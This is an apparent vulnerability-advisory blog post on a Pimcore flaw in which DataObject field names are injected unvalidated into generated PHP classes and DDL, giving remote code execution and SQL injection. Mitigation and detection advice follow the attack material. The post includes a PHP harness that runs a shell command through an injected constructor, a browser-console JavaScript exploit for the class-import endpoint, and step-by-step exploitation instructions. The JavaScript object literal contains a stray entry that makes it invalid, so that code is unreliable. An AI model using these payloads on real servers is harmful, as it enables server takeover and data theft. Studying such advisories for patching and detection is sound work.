Listen to this Post
Intro:
A critical vulnerability exists in Pimcore where a DataObject class-definition field name is concatenated, without an identifier allowlist, directly into the PHP class source that Pimcore generates for every DataObject class. The field name is placed into a protected property declaration (protected $<fieldName>;). A user holding only the ordinary `objects` (DataObjects) permission—the standard permission for content editors—can import a crafted class definition. This field name can close the property and inject arbitrary PHP into the generated class file, leading to remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL statements, creating a parallel SQL-injection primitive. This flaw is a sibling of CVE-2026-5394, which addressed a similar issue in composite-index columns but left this field-name path completely untouched. The vulnerability allows authenticated users to execute arbitrary PHP, leading to full server compromise, or to execute arbitrary DDL against the database. The RCE sink is runtime-confirmed using a harness that generates and loads a class with a malicious field name, executing a shell command via the injected `__construct()` function. The attack reaches the OS, giving a scope of Changed (S:C), and is rated Critical with a CVSS score of 9.9. Even without S:C, the severity floor is High. The flaw lies in `FieldDefinitionPropertiesBuilder.php` where `$key` is appended raw, and no allowlist is present, unlike the sibling enum-option generator which does enforce one. The same raw string is also used in DDL statements without quoteIdentifier(). Validation is insufficient, as the only check is for angle brackets, while a simple WAF rule can block the import endpoint, and a permanent fix involves adding an allowlist and a dedicated administrative permission for class imports.
DailyCVE Form:
Platform: Pimcore CMS
Version: Affected versions
Vulnerability: Field-name injection
Severity: Critical (CVSS 9.9)
date: 2026-05-29
Prediction: Pending vendor patch
What Undercode Say:
RCE Sink Verification Harness
php -r '
$maliciousName = "pwn; public function __construct(){ echo \"INJECTED-RCE-RAN: \".trim(shell_exec(\"id\")); } private \$z";
$cd = new \Pimcore\Model\DataObject\ClassDefinition();
$cd->setName("PwnDemo");
$cd->setFieldDefinitions([$maliciousName => new \stdClass()]);
$props = (new \Pimcore\DataObject\ClassBuilder\FieldDefinitionPropertiesBuilder())->buildProperties($cd);
file_put_contents("/tmp/PwnDemo.php", "<?php\nclass PwnDemo {\n".$props."}\n");
require "/tmp/PwnDemo.php";
new \PwnDemo();
'
// Browser Console PoC for End-to-End Exploit
const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";
const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';
const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", "poc" } ] } };
const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");
fetch(<code>/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import</code>, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log);
Exploit: (Educational Purposes!)
- As an authenticated user with only the `objects` permission, create a throwaway DataObject class and obtain its ID.
- Open the browser’s DevTools console and run the provided JavaScript snippet, replacing `CLASS_ID` with the actual ID.
- The snippet sends a crafted JSON definition via the Studio API import endpoint.
- The field name in the request contains a payload that injects PHP code into the class body, creating a `__construct()` method that executes a system command.
- Importing the definition triggers the class file regeneration, writing the malicious code to
var/classes/DataObject/<Class>.php. - When an object of this class is loaded, the autoloader includes the file, and the injected `__construct()` executes, achieving RCE.
- The included snippet uses a non-destructive `touch` command to create a file, proving execution.
Protection:
- Immediate Mitigation: Restrict access to the import endpoint (
/pimcore-studio/api/class/definition/configuration-view/detail//import) to trusted administrators only via a custom security voter or WAF rule. - Defense-in-Depth: Implement an identifier allowlist in the model boundary (e.g.,
Data.php) to reject field names not matching'/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/'. - SQL Injection Prevention: Use `quoteIdentifier()` for all column and index names in DDL queries within
Helper/Dao.php. - Privilege Hardening: Gate class-definition imports and saves behind a new, dedicated administrative permission (or
admin), separate from the content-editor `objects` permission. - Detection: Implement File Integrity Monitoring on `var/classes/DataObject/.php` to alert on unexpected changes, specifically for tokens like `function` or
__construct(. Raise the audit event for class imports to high priority.
Impact:
- Remote Code Execution: Attackers can execute arbitrary PHP on the server, leading to full compromise of the application, database, and OS.
- SQL Injection: Attackers can execute arbitrary DDL statements, potentially corrupting the database schema.
- Privilege Escalation: The `objects` permission, typically given to content editors, is sufficient to compromise the entire server.
- Unauthorized Data Access: Attackers can read, modify, or delete any data accessible to the web server user.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
